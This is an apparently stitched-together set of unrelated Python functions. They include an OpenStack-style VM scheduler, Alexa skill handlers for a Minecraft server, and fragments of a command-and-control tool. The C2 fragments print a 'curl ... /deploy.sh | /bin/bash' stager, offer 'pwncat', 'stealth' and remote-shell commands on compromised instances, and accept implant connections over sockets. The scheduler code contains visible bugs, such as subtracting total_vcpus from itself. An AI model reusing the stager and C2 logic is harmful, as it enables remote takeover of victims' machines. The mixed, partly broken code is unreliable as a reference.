def main(): print( f'{"-"*30}\ncurl {REMOTE_IP}:{web_server.PORT}/deploy.sh | /bin/bash\n{"-"*30}\n' ) setup_deployment() web_server.start(should_wait=False) stager.initialise() InstanceManager.start_worker() App()
def best_fit_with_migration(self,vm, node_details): """Returns a best fit node""" result_node = None min_migration_list = [] min_no_of_migration = sys.maxint min_migration_data = sys.maxint result_node = self.best_fit(vm, node_details) if result_node == None: flag = False instance_manager = InstanceManager() feasible_nodes = instance_manager.feasible_nodes(vm) for f in feasible_nodes: local_migration_list = [] local_no_migration = 0 local_migration_data = 0 vm_list = instance_manager.vm_list(f['hostname']) temp_node_details = [] for node in node_details: if node['hostname'] != f['nodename']: temp_node_details.append(node) new_node_disk = f['total_disk'] - f['free_disk'] new_node_ram = f['total_ram'] - f['free_ram'] new_node_vcpus = f['total_vcpus'] - f['total_vcpus'] for v in vm_list: dest_node = best_fit(v, temp_node_details) if dest_node == None: continue else: local_migration_list.append(tuple(v,dest_node)) local_no_migration += 1 local_migration_data = local_migration_data + v['disk'] new_node_disk = new_node_disk - v['disk'] new_node_ram = new_node_ram - v['ram'] new_node_vcpus = new_node_vcpus - v['vcpus'] if new_node_disk >= vm['disk'] and new_node_vcpus >= vm['vcpus'] and new_node_ram >= vm['ram']: flag = True break if flag == True: if local_no_migration < min_no_of_migration: min_no_of_migration = local_no_migration min_migration_data = local_migration_data min_migration_list = local_migration_list result_node = f['nodename'] elif local_no_migration == min_no_of_migration: if local_migration_data < min_migration_data: min_no_of_migration = local_no_migration min_migration_data = local_migration_data min_migration_list = local_migration_list result_node = f['nodename'] return result_node
def handle(self, handler_input): # type: (HandlerInput) -> Response InstanceManager.stop() speak_output = "The minecraft server is stopping." return ( handler_input.response_builder.speak(speak_output) # .ask("add a reprompt if you want to keep the session open for the user to respond") .response)
def completions_with_functions(self): instance_commands_if_root = {'stealth': self._do_stealth} instance_commands = { 'pwncat': self._do_pwncat, 'run_script': { script: get_lambda(self._do_run_script, script) for script in map(lambda path: os.path.split(path)[-1], web_server.get_available_scripts()) }, 'shell': self._do_open_shell_bash } commands = { 'show': { 'instances': self._list_instances }, 'set': { 'instance': { uid: get_lambda(self._do_set_selected_instance, uid) for uid in InstanceManager.get_uids() } }, } if self.selected_instance is not None: if self.selected_instance.is_root: commands = {**commands, **instance_commands_if_root} commands = {**commands, **instance_commands} return commands
def _on_instances_update(self): instances = InstanceManager.get_all() if self.selected_instance not in instances: self.selected_instance = None if self.selected_instance is None and len(instances) > 0: self.selected_instance = instances[0] self._list_instances()
def _handler(sock: socket.socket, address: Tuple[str, int]): header = Core.receive_line_from_sock(sock) logger.debug(f'Header: {header}') header_parts = [ b64decode(header_part).decode() for header_part in header.split(b':') ] logger.debug(f'Connected on {address[0]}:{address[1]} {header_parts}') if len(header_parts) == 1: if not InstanceManager.try_add( Instance(address[0], address[1], sock, header_parts[0])): sock.close() elif header_parts[1] == Message.OPEN_SHELL_TUNNELED: logger.debug('Trying to open shell') instance = InstanceManager.get_by_conversation_uid(header_parts[2]) ReplyHandler.handle_open_shell(instance, sock) else: raise Exception(f'Unknown header {header_parts}')
def handle(self, handler_input): # type: (HandlerInput) -> Response speak_output, _, _, _ = InstanceManager.status() return ( handler_input.response_builder.speak(speak_output) # .ask("add a reprompt if you want to keep the session open for the user to respond") .response)
def _list_instances(self): for instance in InstanceManager.get_all(): logger.output( f'{"==> " if instance == self.selected_instance else " "}{instance}' )
def _do_set_selected_instance(self, uid: str): self.selected_instance = InstanceManager.get_by_uid(uid)
def select_destinations(self, context, request_spec, filter_properties): LOG.debug('Request Specification is %(request)s', {'request': request_spec}) """Selects a filtered set of hosts and nodes.""" self.notifier.info(context, 'scheduler.select_destinations.start', dict(request_spec=request_spec)) flavor = request_spec['instance_type'] LOG.debug('Flavor name %(name)s', {'name': flavor['name'] }) vm_instance_properties = request_spec['instance_type'] vm_ram = vm_instance_properties['memory_mb'] vm_vcpus = vm_instance_properties['vcpus'] vm_disk = vm_instance_properties['root_gb'] vm_details = {} vm_details['disk'] = vm_disk vm_details['ram'] = vm_ram vm_details['vcpus'] = vm_vcpus LOG.debug("VM request details: %(vm_details)s", {'vm_details': vm_details}) instance_manager = InstanceManager() node_details = instance_manager.node_details() LOG.debug('Node Details %(node_details)s', {'node_details': node_details}) instance_type = str(flavor['name']) instance_data = {} allowed_list = [] threshold_manager = ThresholdManager() attributes = threshold_manager.get_attributes() LOG.debug('Threshold manager %(attr)s', {'attr': attributes}) if 'on_demand_high' in attributes: allowed_list.append('tiny.on-demand-high') if 'on_demand_low' in attributes: allowed_list.append('tiny.on-demand-low') if 'spot' in attributes: allowed_list.append('tiny.spot') if str(flavor['name']) not in allowed_list: LOG.debug('Server seems to be loaded. %(flavor_name)s cannot be created', {'flavor_name': flavor['name']}) reason = _('Server load') raise exception.NoValidHost(reason=reason) # return dests # num_instances = spec_obj.num_instances result_node = self.best_fit(vm_details, node_details) if result_node == None: LOG.debug('No Servers are currently available') reason = _('Server load') raise exception.NoValidHost(reason=reason) selected_node_details = None for node in node_details: if result_node == node['hostname']: selected_node_details = node break dest = [{'host':unicode(selected_node_details['hostname']), 'nodename':unicode(selected_node_details['hostname']), 'limits': {'memory_mb':selected_node_details['total_ram'], 'disk_gb': selected_node_details['total_disk']}}] return dest